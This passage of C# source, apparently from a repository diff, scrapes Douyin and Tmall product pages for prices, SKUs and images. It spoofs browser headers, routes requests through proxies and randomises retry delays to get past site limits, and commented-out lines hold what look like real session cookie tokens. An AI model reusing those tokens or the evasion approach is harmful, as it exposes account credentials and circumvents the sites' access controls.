if (UploadPinduoduoMain.isUseDouYinCache)
html = ServerTemp.Get(6, Product.from_id.ToString(), out canUse);
// 使用缓存数据
if (!string.IsNullOrEmpty(html) && canUse)
{
var dtString = BaseRegex.GetMatchRegexString(ref html, @"(\d{4}-\d{2}-\d{2})");
while (!string.IsNullOrEmpty(dtString) && html.StartsWith(dtString))
{
html = html.Substring(dtString.Length).TrimStart(' ', ',');
dtString = BaseRegex.GetMatchRegexString(ref html, @"(\d{4}-\d{2}-\d{2})");
}
try
{
//Product = JsonHelper.DeserializeJsonToObject<ProductCollectBase>(html);
Product = Newtonsoft.Json.JsonConvert.DeserializeObject<ProductCollectBase>(html);
Product.cat_id = Product.from_cat_id = Product.cat4 == 0 ? Product.cat3 : Product.cat4;
List<KeyValueBase> kvList = new List<KeyValueBase>();
foreach (var kv in Product.Prop)
{
if (!kvList.Any(k => k.Key == kv.Key))
kvList.Add(kv);
}
Product.Prop.Clear();
Product.Prop.AddRange(kvList);
if (Product.cat_id == 0 && Product.cat2 != 0)
Product.cat_id = Product.cat2;
ProductTemp.Add(Product.from_id, Product);
GetSuccess = true;
return;
}
catch (Exception ex)
{
Message = ex.Message;
}
}
// 缓存不可用,采集最新数据
while (DateTime.Now < lastGetTime.AddSeconds(5))
{
Thread.Sleep(50);
}
html = "";
for (int r = 0; !html.Contains("\"st\":0") && r < 5; r++)
{
if (r > 0)
Thread.Sleep(Randomx.GetId(3500, 4500));
// 采集商品详情
html = RequestProduct(Product.from_id.ToString());
if (html.Contains("商品已失效"))
{
GetSuccess = true;
Product.IsOnSale = false;
return;
}
}
if (!html.Contains("\"st\":0"))
return;
// 采集SKU
sku = RequestSku(Product.from_id.ToString());
for (int r = 0; !sku.Contains("\"st\":0") && r < 5; r++)
{
Thread.Sleep(Randomx.GetId(3500, 4500));
sku = RequestSku(Product.from_id.ToString());
}
if (!sku.Contains("\"st\":0"))
return;
GetSuccess = true;
try
{
JObject jProd = JObject.Parse(html);
JObject jSku = JObject.Parse(sku);
Product.from_site_id = 7;
Product.from = "抖音";
Product.name = jProd["data"]["name"].ToString();
string sellNumStr = jProd["data"]["sell_num"]?.ToString().Replace("+", "").Replace("万", "0000").Replace("千", "000");
if (!string.IsNullOrEmpty(sellNumStr))
Product.saleCount = sellNumStr.ParseToInt();
else
Product.saleCount = 0;
Product.price = jProd["data"]["discount_price"].ParseToDecimal() / 100;
Product.express_price = 0;
Product.num = jSku["data"]["total_stock_num"].ParseToInt();
Product.from_shop_name = jProd["data"]["shop_name"].ToString();
Product.main_cid = jProd["data"]["first_cid"].ParseToInt();
Product.IsOnSale = jProd["data"]["status"] != null && jProd["data"]["status"].ParseToInt() == 0;
var salesStr = jProd["data"]["sell_num"].ToString();
var salesInt = salesStr.Replace("+", "").Replace("万", "").Replace("千", "").ParseToDecimal();
if (salesStr.Contains("千"))
salesInt = salesInt * 1000;
if (salesStr.Contains("万"))
salesInt = salesInt * 10000;
Product.saleCount = (int)salesInt;
if (!Product.IsOnSale)
Message = "商品已下架";
try
{
Product.main_cat_name = jProd["data"]?["extra"]?["category_detail"]?["first_cname"]?.ToString();
Product.cat1 = (jProd["data"]?["extra"]?["category_detail"]?["first_cid"]).ParseToInt();
Product.cat2 = (jProd["data"]?["extra"]?["category_detail"]?["second_cid"]).ParseToInt();
Product.cat3 = (jProd["data"]?["extra"]?["category_detail"]?["third_cid"]).ParseToInt();
Product.cat4 = (jProd["data"]?["extra"]?["category_detail"]?["fourth_cid"]).ParseToInt();
}
catch (Exception ex)
{
Message = ex.Message;
}
if (string.IsNullOrEmpty(Product.main_cat_name))
Product.main_cat_name = BaseRegex.GetStringJson(ref html, "first_cname");
Product.cat_id = Product.from_cat_id = Product.cat4 == 0 ? Product.cat3 : Product.cat4;
if (Product.cat_id == 0 && Product.cat2 != 0)
Product.cat_id = Product.cat2;
if (!string.IsNullOrEmpty(jProd["data"]["freight1"]?.ToString()) && jProd["data"]["freight"]["product_province_name"] != null)
Product.state = jProd["data"]["freight"]["product_province_name"].ToString();
Product.item_size = "";
Product.item_weight = (int)jProd["data"]["weight"].ParseToDecimal();
if (Product.item_weight == 0)
Product.item_weight = 1;
JArray jImgArr = jProd["data"]["img_list"] as JArray;
if (jImgArr != null)
{
foreach (var jImg in jImgArr)
Product.Images.Add(jImg.ToString());
}
Product.image = jProd["data"]["img"].ToString();
if (string.IsNullOrEmpty(Product.image) && Product.Images.Count > 0)
Product.image = Product.Images[0];
var description = jProd["data"]["description"].ToString();
var contentMatch = BaseRegex.GetMatchRegex(ref description, "<img[^>]*?>([^>]+?)</img>");
if (contentMatch.Count == 0)
contentMatch = BaseRegex.GetMatchRegex(ref description, "<img[^>]*?src=\"([^>]+?)\"([^>]*?)>");
var contentStr = "";
for (int i = 0; contentMatch != null && i < contentMatch.Count; i++)
{
contentStr += "<img src=\"" + contentMatch[i].Groups[1].Value + "\" />";
}
Product.content = contentStr;
JObject jPropArr = jProd["data"]["product_format"] as JObject;
if (jPropArr != null)
{
foreach (var jProp in jPropArr)
{
Product.Prop.Add(new KeyValueBase(jProp.Key, jProp.Value.ToString()));
}
}
// 读取商品的sku属性和sku
// 读取sku属性
var propValueBaseList = new List<PropValueBase>();
var propsObjs = jProd["data"]["spec_info"];
foreach (var propsObj in propsObjs)
{
PropBase pb = new PropBase();
pb.name = propsObj["name"].ToString();
foreach (var prObj in propsObj["list"])
{
PropValueBase pr = new PropValueBase();
pr.name = prObj["name"].ToString();
pr.id = prObj["id"].ToString();
pb.Values.Add(pr);
propValueBaseList.Add(pr);
}
Product.Props.Add(pb);
}
// 读取属性图片
var skuImages = jSku["data"]["pic_map"] as JObject;
foreach (var imageObj in skuImages)
{
var imagePropValueId = imageObj.Key.ToString();
var propValue = propValueBaseList.FirstOrDefault(pr => pr.id == imagePropValueId);
if (propValue != null)
propValue.image = "https://sf1-ttcdn-tos.pstatp.com/obj/" + imageObj.Value.ToString();
}
// 读取sku
var skuObjs = jSku["data"]["stock"] as JObject;
foreach (var skuObj in skuObjs)
{
var skuPropIdsStr = skuObj.Key.ToString();
var skuPropIdsArr = skuPropIdsStr.Split(';');
var skuValueObj = skuObj.Value;
var skuId = skuValueObj["id"].ToString();
var num = skuValueObj["stock_num"].ParseToInt();
if (num > 90)
num = 99;
var price = skuValueObj["discount_price"].ParseToDecimal() / 100;
var skuName = "";
foreach (var propId in skuPropIdsArr)
{
var propValue = propValueBaseList.FirstOrDefault(pr => pr.id == propId);
if (propValue != null)
{
var propGroup = Product.Props.FirstOrDefault(pg => pg.Values.Contains(propValue));
if (propGroup != null)
{
skuName += propGroup.name + ":" + propValue.name + ";";
};
}
}
skuName = skuName.TrimEnd(';');
if (string.IsNullOrEmpty(skuName))
continue;
SkuMapBase sm = new SkuMapBase();
sm.id = long.Parse(skuId);
sm.name = skuName;
sm.price = price;
sm.number = num;
Product.SkuMaps.Add(sm);
}
Product.from_title = Product.name;
ProductTemp.Add(Product.from_id, Product);
string saveHtml = JsonHelper.SerializeObject(Product);
IdFessionTaobao.ConcurrentQueueHtmlSaveServer.Enqueue(new SaveServerParm() { SaveType = 6, ProuctId = Product.from_id.ToString(), SaveHtml = saveHtml });
}
catch (Exception ex)
{
Message = ex.Message;
}
}
/// <summary>
/// 商品主图、属性、详情采集
/// </summary>
/// <returns></returns>
private string RequestProduct(string productId = "3496306606084372244")
{
HttpWebResponse response = null;
string result;
try
{
//https://ec.snssdk.com/product/fxgajaxstaticitem?&b_type_new=0&device_id=0&is_outside=1&id=3508075071942062941&preview=0&is_native_h5=1&is_in_app=0
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://ec.snssdk.com/product/fxgajaxstaticitem?&b_type_new=0&device_id=0&is_outside=1&id=" + productId + "&preview=0&is_native_h5=1&is_in_app=0");
request.KeepAlive = true;
request.Headers.Add("sec-ch-ua", @"""Google Chrome"";v=""105"", ""Not)A;Brand"";v=""8"", ""Chromium"";v=""105""");
request.Accept = "application/json, text/plain, */*";
request.Headers.Add("sec-ch-ua-mobile", @"?0");
request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36";
request.Headers.Add("sec-ch-ua-platform", @"""Windows""");
request.Headers.Add("Origin", @"https://haohuo.jinritemai.com");
request.Headers.Add("Sec-Fetch-Site", @"cross-site");
request.Headers.Add("Sec-Fetch-Mode", @"cors");
request.Headers.Add("Sec-Fetch-Dest", @"empty");
request.Referer = "https://haohuo.jinritemai.com/";
//request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate, br");
request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate");
request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9");
//request.Headers.Set(HttpRequestHeader.Cookie, AllBase.Helper.GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.LoginStatus == "登录成功")?.Cookies);
//request.Headers.Set(HttpRequestHeader.Cookie, "msToken=SyvmaX114hG0QqSd-cZ3ZaS_-fgnxjUfBRR3HR8LN4YNU3L91jWVqXH6oWylsN6u7DPpNkIaUdiPSiOXjSfBgxdkuk-GYlahGDbT9We4WPry");
//request.Headers.Set(HttpRequestHeader.Cookie, @"passport_csrf_token=89e087e1541315f257f2439fdc939606");
response = (HttpWebResponse)request.GetResponse();
}
catch (WebException ex)
{
if (ex.Status == WebExceptionStatus.ProtocolError)
{
response = (HttpWebResponse)ex.Response;
result = GetProxyHtml.ReadResponse(response);
if (response != null) response.Close();
return result;
}
else return ex.Message;
}
catch (Exception e)
{
if (response != null) response.Close();
return e.Message;
}
result = GetProxyHtml.ReadResponse(response);
if (response != null) response.Close();
return result;
}
// Sku采集
private string RequestSku(string productId)
{
HttpWebResponse response = null;
string result = "";
try
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://ec.snssdk.com/product/getstock?id=" + productId + "&add_cart=0&b_type_new=0&device_id=0&is_outside=1");
request.KeepAlive = true;
request.Headers.Add("sec-ch-ua", @"""Chromium"";v=""92"", "" Not A;Brand"";v=""99"", ""Google Chrome"";v=""92""");
request.Accept = "application/json, text/plain, */*";
request.Headers.Add("sec-ch-ua-mobile", @"?0");
request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36";
request.Headers.Add("Origin", @"https://haohuo.jinritemai.com");
request.Headers.Add("Sec-Fetch-Site", @"cross-site");
request.Headers.Add("Sec-Fetch-Mode", @"cors");
request.Headers.Add("Sec-Fetch-Dest", @"empty");
request.Referer = "https://haohuo.jinritemai.com/";
//request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate, br");
request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate");
request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9");
//request.Headers.Set(HttpRequestHeader.Cookie, @"passport_csrf_token=89e087e1541315f257f2439fdc939606");
response = (HttpWebResponse)request.GetResponse();
}
catch (WebException ex)
{
if (ex.Status == WebExceptionStatus.ProtocolError)
{
response = (HttpWebResponse)ex.Response;
result = GetProxyHtml.ReadResponse(response);
if (response != null) response.Close();
return result;
}
else return ex.Message;
}
catch (Exception e)
{
if (response != null) response.Close();
return e.Message;
}
result = GetProxyHtml.ReadResponse(response);
if (response != null) response.Close();
return result;
}
}
}
File diff suppressed because it is too large. Load diff
+677
View File
@@ -0,0 +1,677 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using AllBase;
using Work.Api;
using Work.CollectClass;
namespace Work.CollectClass
{
public class DetailMobileCollect
{
public string Name, Content;
public bool IsUrlCollect = false, Pinduoduo = false;
public bool IsUpdateSku = false, ThisShopId = false;
public bool GetSuccess = false, NoTemp = false, Delete = false, NoContent = false, IsDown = false, IsExist = true, NoUpToServer = false;
public static bool LastError = false;
public decimal BeforePrice = 0, MinPrice = 0, MaxPrice = 0;
//public static Dictionary<long, ProductCollectBase> ProductTemp = new Dictionary<long, ProductCollectBase>();
public ProductCollectBase Product;
public DetailMobileCollect(ProductCollectBase product)
{
Product = product;
}
public void Get()
{
//if (TaobaoMobileCollect.ProductTemp.ContainsKey(Product.from_id))
//{
// GetSuccess = true;
// Product = TaobaoMobileCollect.ProductTemp[Product.from_id].Clone();
// return;
//}
GetSuccess = false;
Delete = false;
bool useTemp = false;
string urlProduct = "https://detail.m.tmall.com/item.htm?id=" + (ThisShopId ? Product.id : Product.from_id);
bool nokey = false, hadFile = false;
string content = "", newContent = "";
string refere = "";
//string html =NoTemp?"": TempFileReadWrite.Read(Product.id, "content", out hadFile);
//if(string.IsNullOrEmpty(html))
// html = GetPostTaobaoHtml.UploadTaobao(urlProduct, refere, true);
string html = "";
bool useUsa = false;
//if (LastError)
//{
// LastError = false;
// html = GetHtml.ByUsa(urlProduct, true, false);
// useUsa = true;
//}
//else
//{
//}
bool canUse;
string serverTempHtml = ServerTemp.Get(2, "main-tm-" + Product.from_id.ToString(), out canUse);
if (!canUse)
{
if (GetProxyHtml.ips != null && GetProxyHtml.ips.Count > 0)
{
html = GetProxyHtml.UploadProxyTaobao(urlProduct, refere, true, "");
}
if (string.IsNullOrEmpty(html) || !html.Contains("天猫商品详情"))
{
html = GetPostTaobaoHtml.UploadTaobao(urlProduct, refere, true);
if (html.Contains("宝贝不存在"))
{
IsExist = false;
LogSave.Add(Name, "宝贝不存在:" + urlProduct);
BigDataBuild.Delete(Product.from_id, 1);
return;
}
}
if (string.IsNullOrEmpty(html) || !html.Contains("天猫商品详情"))
{
html = GetHtml.ByUsa(urlProduct, true, false);
useUsa = true;
}
if (string.IsNullOrEmpty(html) || !html.Contains("天猫商品详情"))
{
Thread.Sleep(10000);
html = GetPostTaobaoHtml.UploadTaobao(urlProduct, refere, true);
useUsa = false;
}
if (string.IsNullOrEmpty(html) || !html.Contains("天猫商品详情"))
{
LastError = true;
LogSave.Add(Name, "读取页面失败:" + urlProduct);
return;
}
if (!string.IsNullOrEmpty(html) && (html.Contains("天猫商品详情") || html.Contains("expired.html?isInvalid=true") || html.Contains("\\\"已下架\\\"")))
ServerTemp.Set(2, "main-tm-" + Product.from_id.ToString(), html);
}
else
{
html = serverTempHtml;
}
if (!string.IsNullOrEmpty(html) &&
(html.Contains("expired.html?isInvalid=true") || html.Contains("\\\"已下架\\\"")))
IsDown = true;
if (string.IsNullOrEmpty(html) || html.Contains("redirectUrl") && !html.Contains("快递"))
{
LogSave.Add(Name, "宝贝已经下架:" + urlProduct);
BigDataBuild.Delete(Product.from_id, 1);
return;
}
GetSuccess = true;
html = GetHtml.Decode(html).Replace("\\\"", "\"").Replace("\\\\", "\\");
Product.name = BaseRegex.GetMatchRegexString(ref html, @"""item"":\{[^\}]*?""title"":""([^""]+)""");
if (string.IsNullOrEmpty(Product.name))
{
//BigDataBuild.Delete(Product.from_id, 1);
if (IsUpdateSku)
{
Delete = true;
LogSave.Add(Name, "上家已经删除:" + (ThisShopId ? Product.id : Product.from_id));
}
else
{
LogSave.Add(Name, "标题获取错误:" + Product.from_url);
}
return;
}
string pricex = BaseRegex.GetMatchRegexString(ref html,
@"""transmitPrice"":\{""priceText"":""([\d\.]+)");
if (string.IsNullOrEmpty(pricex))
{
pricex = BaseRegex.GetMatchRegexString(ref html,
@"""price"":\{""price"":\{""priceMoney"":""[\d]+"",""priceText"":""([\d\.]+)""");
}
if (string.IsNullOrEmpty(pricex))
pricex = BaseRegex.GetMatchRegexString(ref html,
@"""price"":\{""price"":\{""priceText"":""([\d\.]+)");
string price_beforex = BaseRegex.GetMatchRegexString(ref html,
@"""extraPrices"":\[\{""priceMoney"":""[\d]+"",""priceText"":""([\d\.]+)""");
if (string.IsNullOrEmpty(price_beforex))
{
price_beforex = pricex;
}
if (price_beforex == "0" || string.IsNullOrEmpty(price_beforex))
{
LogSave.Add("价格为空,退出:" + Product.from_url);
return;
}
Product.saleCount = BaseRegex.GetIntJson(ref html, "sellCount");
string eprice = BaseRegex.GetMatchRegexString(ref html, @"""postage"":""快递[::][\s]*([\d\.]+)");
Product.express_price = string.IsNullOrEmpty(eprice) ? 0 : decimal.Parse(eprice);
Product.price = decimal.Parse(pricex);
MinPrice = Product.price;
MaxPrice = Product.price;
Product.num = BaseRegex.GetIntJson(ref html, "num");
Product.from_shop_name = BaseRegex.GetStringJson(ref html, "sellerNick");
if (Product.num == 0)
{
string num = BaseRegex.GetMatchRegexString(ref html, @"""skuCore"":[\w\W]+?""quantity"":""([\d]+)""");
if (string.IsNullOrEmpty(num))
num = BaseRegex.GetMatchRegexString(ref html, @"]},""skuCore"":[\w\W]+?""quantity"":([\d]+)}");
if (!string.IsNullOrEmpty(num))
Product.num = int.Parse(num);
}
Product.discountPrice = decimal.Parse(pricex);
Product.before_price = decimal.Parse(price_beforex);
Product.discount = Product.discountPrice / Product.before_price;//折扣比例
Product.onlinePrice = Product.discountPrice * Product.shopAddPercent / 100 + new Random(Guid.NewGuid().GetHashCode()).Next((int)(Product.shopAddPriceMin * 100),
(int)(Product.shopAddPriceMax * 100)) / 100;
if (IsUrlCollect)
{
Product.onlinePrice = GetOnlinePrice(Product.price);
}
if (IsUpdateSku)//如果是更新SKU则直接跳转到SKU部分
{
goto GetSku;
}
string catId = BaseRegex.GetStringJson(ref html, @"categoryId");
catId = string.IsNullOrEmpty(catId) ? BaseRegex.GetMatchRegexString(ref html, @"categoryId:([\d]+)") : catId;
Product.cat_id = int.Parse(catId);
Product.main_cid = BaseRegex.GetIntJson(ref html, @"rootCategoryId");
Product.from_cat_id = Product.cat_id;
Product.from_site_id = 1;
if (Product.main_cid == 0)
{
LogSave.Add(Name, "没有找到主分类:" + Product.from_url);
return;
}
//===================标题过滤======================
string title = Product.name.ToLower();
long md5 = BaseClass.GetLong(Product.name);
foreach (string s in BaseClass.CantTitleKeywords)
{
if (title.Contains(s))
{
nokey = true;
LogSave.Add(Name, s + " : " + title);
break;
}
}
foreach (string s in BaseClass.CantTitle)
{
if (title.Contains(s))
{
nokey = true;
LogSave.Add(Name, s + " : " + title);
break;
}
}
foreach (string s in BaseClass.CantCatId)
{
if (Product.cat_id.ToString() == s || Product.main_cid.ToString() == s)
{
nokey = true;
LogSave.Add(Name, s + " : " + title);
break;
}
}
string tempx = "";
var tempmc = BaseRegex.GetMatchRegex(ref html,
@"{""component"":""mui/wpimagetext/index""[\w\W]+?""image_text""}");
for (int i = 0; i < tempmc.Count; i++)
{
string item= tempmc[i].Groups[0].Value;
var mm = BaseRegex.GetMatchRegex(ref item, @"""img[^>]*?"":""([^>]+?)""");
for (int j = 0; j < mm.Count; j++)
{
tempx += "<img src=\"" + mm[j].Groups[1].Value + "\" />";
}
}
content = tempx;
if (string.IsNullOrEmpty(tempx))
{
LogSave.Add(Name, "描述正文正则失败,跳过 " );
return;
}
newContent = ClearContent(content);
if (string.IsNullOrEmpty(content) || string.IsNullOrEmpty(newContent))
{
LogSave.Add(Name, "描述正文为空,跳过 " );
return;
}
Content = newContent;
Product.content = Content;
Product.item_size = "";
Product.item_weight = 1;
Product.state = "浙江";
Product.city = "杭州";
string address = BaseRegex.GetMatchRegexString(ref html, @"""delivery"":\{""from"":""([^""]+?)""");
if (string.IsNullOrEmpty(address))
address = BaseRegex.GetStringJson(ref html, @"location");
string[] provice =
"上海,北京,天津,重庆,黑龙江,辽宁,内蒙古,吉林,河北,河南,山西,山东,陕西,青海,宁夏,甘肃,新疆,西藏,四川,云南,贵州,广西,湖南,湖北,安徽,江苏,浙江,广东,福建,海南,台湾,香港,澳门".Split(',');
string[] city =
"上海,北京,天津,重庆,哈尔滨,沈阳,呼和浩特,长春,石家庄,郑州,太远,济南,西安,西宁,银川,兰州,乌鲁木齐,拉萨,程度,昆明,贵阳,南宁,长沙,武汉,合肥,南京,杭州,广州,福州,海口,台北,香港,澳门".Split(',');
if (!string.IsNullOrEmpty(address))
{
for (int i = 0; i < provice.Length; i++)
{
if (address.Contains(provice[i]))
{
Product.state = provice[i];
Product.city = city[i];
break;
}
}
}
string temp = BaseRegex.GetMatchRegexString(ref html, @",""images"":\[([^\]]+?)\]");
if (string.IsNullOrEmpty(temp))
{
LogSave.Add(Name, "图片错误:" + Product.from_url);
return;
}
var m = BaseRegex.GetMatchRegex(ref temp, @"""([^""]+)""");
if (m.Count == 0)
{
LogSave.Add(Name, "图片错误:" + Product.from_url);
return;
}
for (int i = 0; i < m.Count; i++)
{
Product.Images.Add(m[i].Groups[1].Value);
}
Product.image = Product.Images[0];
Product.image_from_url = Product.Images[0];
temp = BaseRegex.GetMatchRegexString(ref html, @"""props"":\{[\w\W]+?""groupProps"":([\w\W]+?)\]\}]");
if (!string.IsNullOrEmpty(temp))
{
m = BaseRegex.GetMatchRegex(ref temp, @"\{""([^""]+)"":""([^""]+)""\}");
if (m.Count == 0)
{
LogSave.Add("参数错误:" + Product.from_url);
return;
}
for (int i = 0; i < m.Count; i++)
{
string name = m[i].Groups[1].Value;
string value = m[i].Groups[2].Value;
if (name.Length > 50 || value.Length > 50)
continue;
Product.Prop.Add(new KeyValueBase(name, value));
}
}
GetSku:
bool hadPrice = false;
m =BaseRegex.GetMatchRegex(ref html,
@"\{""name"":""([^""]+)"",""pid"":([\d]+),""values"":\[([\w\W]+?)\]\}");
for (int i = 0; i < m.Count; i++)
{
PropBase p = new PropBase();
p.id = long.Parse(m[i].Groups[2].Value);
p.name = m[i].Groups[1].Value;
p.name = BaseRegex.Relpace(p.name, "(&[a-zA-z0-9]+?;)", "");
bool had = false;
for (int j = 0; j < Product.Props.Count; j++)
{
if (Product.Props[j].name == p.name)
{
p = Product.Props[j];
had = true;
break;
}
}
temp = m[i].Groups[3].Value;
var mm = BaseRegex.GetMatchRegex(ref temp, @"""image"":""([^""]+?)"",""name"":""([^""]+?)"",""vid"":([\d]+?)\}");
for (int j = 0; j < mm.Count; j++)
{
string v = mm[j].Groups[3].Value;
string vi = mm[j].Groups[0].Value;
string image = BaseRegex.GetStringJson(ref vi, "image");
PropValueBase pr = new PropValueBase();
pr.value = v;
pr.name = mm[j].Groups[2].Value;
pr.number = new Random(Guid.NewGuid().GetHashCode()).Next(100, 1000);
pr.image = image;
pr.image_from_url = image;
bool hadx = false;
for (int k = 0; k < p.Values.Count; k++)
{
if (p.Values[k].name == pr.name)
{
hadx = true;
break;
}
}
if (!hadx)
p.Values.Add(pr);
}
if (!had)
{
p.sort = i + 1;
Product.Props.Add(p);
}
}
if (Product.Props.Count > 2)
{
Product.Props = Product.Props.OrderBy(u => u.Values.Count).ToList();
int count = Product.Props.Count - 2;
Product.Props.RemoveRange(0, count);
Product.Props = Product.Props.OrderByDescending(u => u.sort).ToList();
}
m = BaseRegex.GetMatchRegex(ref html, @"""propPath"":""([-\d:;]+)"",""skuId"":([\d]+)");
for (int i = 0; i < m.Count; i++)
{
string skuid = m[i].Groups[2].Value;
string skuValues = m[i].Groups[1].Value;
var mm = BaseRegex.GetMatchRegex(ref html,
@"""" + skuid + @""":[^\}]+?""priceText"":""([\d.]+)""[^\}]*?},""quantity"":([\d]+)\}");
if (mm.Count == 0)
{
LogSave.Add("SKU识别错误:" + Product.from_url);
continue;
}
string priceText = mm[0].Groups[1].Value;
decimal before_price = decimal.Parse(priceText);
decimal price = before_price;
string numberString = BaseRegex.GetMatchRegexString(ref html,
@"]},""skuCore""[\w\W]+?""" + skuid + @""":[\w\W]+?""quantity"":([\d]+)");
int number = 0;
if (!string.IsNullOrEmpty(numberString))
number = int.Parse(numberString);
if (number > 100)
number = 100;
string name = BuildName(skuValues);
if (string.IsNullOrEmpty(name))
continue;
bool had = false;
for (int j = 0; j < Product.SkuMaps.Count; j++)
{
if (Product.SkuMaps[j].name == name)
{
had = true;
break;
}
}
if (had)
{
continue;
}
mm = BaseRegex.GetMatchRegex(ref html,
@"""" + skuid + @""":{""price"":{""priceMoney"":([\d.]+?),""priceText"":""([\d.]+)""}");
if (mm.Count != 0)
{
price = decimal.Parse(mm[0].Groups[2].Value);//这是折扣后的价格
decimal dic = before_price > 0 ? price / before_price : 1;
if (dic < Product.discount)
Product.discount = dic;
}
SkuMapBase sm = new SkuMapBase();
sm.id = long.Parse(skuid);
sm.name = name;
sm.price = price;
if (MaxPrice < price)
MaxPrice = price;
if (MinPrice > price)
MinPrice = price;
sm.online_price = (int)(sm.price * Product.shopAddPercent / 100 +
new Random(Guid.NewGuid().GetHashCode()).Next((int)(Product.shopAddPriceMin * 100),
(int)(Product.shopAddPriceMax * 100)) / 100);
if (!Pinduoduo && (price < BaseClass.MinPrice || price > BaseClass.MaxPrice))
number = 0;
else
hadPrice = true;
if (IsUrlCollect)
{
sm.online_price = (int)GetOnlinePrice(sm.price);
}
sm.number = number;
sm.before_price = before_price;
sm.sale_count = 0;
Product.SkuMaps.Add(sm);
}
for (int i = 0; Product.discount < 1 && i < Product.SkuMaps.Count; i++)
{
if (Product.SkuMaps[i].number == 0)
Product.SkuMaps[i].price = Decimal.Round(Product.discount * Product.SkuMaps[i].before_price, 2);
}
try
{
if (TaobaoMobileCollect.ProductTemp.Count > 1000)
{
TaobaoMobileCollect.ProductTemp.Clear();
}
if (!TaobaoMobileCollect.ProductTemp.ContainsKey(Product.from_id))
TaobaoMobileCollect.ProductTemp.Add(Product.from_id, Product);
}
catch
{
}
if (!hadPrice && (Product.price < (IsUpdateSku ? BaseClass.MinPrice * 0.8m : BaseClass.MinPrice) || Product.price > BaseClass.MaxPrice))
{
//LogSave.Add(Name, "价格太低:" + Product.from_url);
//if (IsUpdateSku)
//{
// SetSku( 0, 0, 5);
//}
//else
//{
// return;
//}
}
if (NoUpToServer)
return;
if (IsUpdateSku || Pinduoduo) //如果是更新上家价格,则执行此代码
{
if (Product.cat1 == 0)
{
FromTitleToCat.UserApi = true;
FromTitleToCat ft = new FromTitleToCat();
ft.TaobaoProduct = new TaobaoProductBase();
ft.Title = Product.name;
ft.TaobaoProduct.Titlte = Product.name;
ft.TaobaoProduct.FromId = Product.from_id;
ft.TaobaoCatId = Product.from_cat_id;
ft.JustGetCat = true;
ft.Get();
if (!string.IsNullOrEmpty(ft.Cat1) && ft.Cat1 != "0")
{
Product.cat1 = int.Parse(ft.Cat1);
Product.cat2 = int.Parse(ft.Cat2);
Product.cat3 = int.Parse(ft.Cat3);
Product.cat4 = int.Parse(ft.Cat4);
}
}
var ftc = new FromTitleToCat();
Product.main_cid = ftc.GetMainCatId(Product.cat1);
Product.main_cat_name = ftc.MainCatName;
return;
}
//淘宝大数据收集
//string json = JsonHelper.SerializeObject(Product);
//string data = "id=" + Product.id + "&site_id=" + Product.from_site_id + "&" + UserLogin.GetSignaturex() +
// "&json=" + GetHtml.UrlEncodeUtf8(json);
//string upUrl = BaseClass.BuildObjString("upload_data");
//html = GetHtml.PostUtf8(upUrl, data);
if (nokey)//过滤数据
return;
if (html == "Ok" || html == "Had")
{
LogSave.Add(Name, "采集成功:" + Product.id);
}
Product.from_title = Product.name;
}
/// <summary>
/// 生成名称
/// </summary>
/// <param name="name"></param>
/// <returns></returns>
private string BuildName(string name)
{
string temp = "";
for (int i = 0; i < Product.Props.Count; i++)
{
for (int j = 0; j < Product.Props[i].Values.Count; j++)
{
if (name.Contains(Product.Props[i].Values[j].value))
{
temp += Product.Props[i].name + ":" + Product.Props[i].Values[j].name + ";";
break;
}
}
}
if (string.IsNullOrEmpty(temp))
return "";
return temp.Substring(0, temp.Length - 1);
}
/// <summary>
/// 网址采集计算价格
/// </summary>
/// <param name="price"></param>
/// <returns></returns>
public decimal GetOnlinePrice(decimal price)
{
if (price < 40)
{
price = price * 100 + new Random(Guid.NewGuid().GetHashCode()).Next(1500, 2000);
}
else if (price < 100)
{
price = price * 100 + new Random(Guid.NewGuid().GetHashCode()).Next(2500, 3000);
}
else if (price < 200)
{
price = price * 100 + new Random(Guid.NewGuid().GetHashCode()).Next(3000, 5000);
}
else
{
price = price * 100 + new Random(Guid.NewGuid().GetHashCode()).Next(4000, 6000);
}
return price / 100;
}
/// <summary>
/// 获取上家ID
/// </summary>
/// <param name="content"></param>
/// <returns></returns>
public static long GetUpId(ref string content)
{
string upShopId = BaseRegex.GetMatchRegexString(ref content, @"//item\.taobao\.com/item\.htm\?id=([345][\d]{11})[\D]");
if (string.IsNullOrEmpty(upShopId))
upShopId = BaseRegex.GetMatchRegexString(ref content, @"<[^>]*#fff[^>]*>[^<]*([345][\d]{11})[\D]");
if (string.IsNullOrEmpty(upShopId))
upShopId = BaseRegex.GetMatchRegexString(ref content, @"<[^>]*white[^>]*>[^<]*([345][\d]{11})[\D]");
if (string.IsNullOrEmpty(upShopId))
upShopId = BaseRegex.GetMatchRegexString(ref content, @"<[^>]*#ffffff[^>]*>[^<]*([345][\d]{11})[\D]");
if (string.IsNullOrEmpty(upShopId) && content.Length > 100)
upShopId = BaseRegex.GetMatchRegexString(content.Substring(0, 100), @"[\D]([345][\d]{11})[\D]");
if (string.IsNullOrEmpty(upShopId))
upShopId = BaseRegex.GetMatchRegexString(ref content, @"//item\.taobao\.com/item\.htm\?id=[\D]([\d]{11,12})[\D]");
if (string.IsNullOrEmpty(upShopId))
upShopId = BaseRegex.GetMatchRegexString(ref content, @"[\D]([\d]{11,12})[\D]");
if (string.IsNullOrEmpty(upShopId))
upShopId = BaseRegex.GetMatchRegexString(ref content, @"[\D]([\d]{6,12})[\D]");
if (string.IsNullOrEmpty(upShopId))
upShopId = "0";
long up;
long.TryParse(upShopId, out up);
return up;
}
/// <summary>
/// 清理正文
/// </summary>
/// <param name="content"></param>
/// <returns></returns>
public static string ClearContent(string content)
{
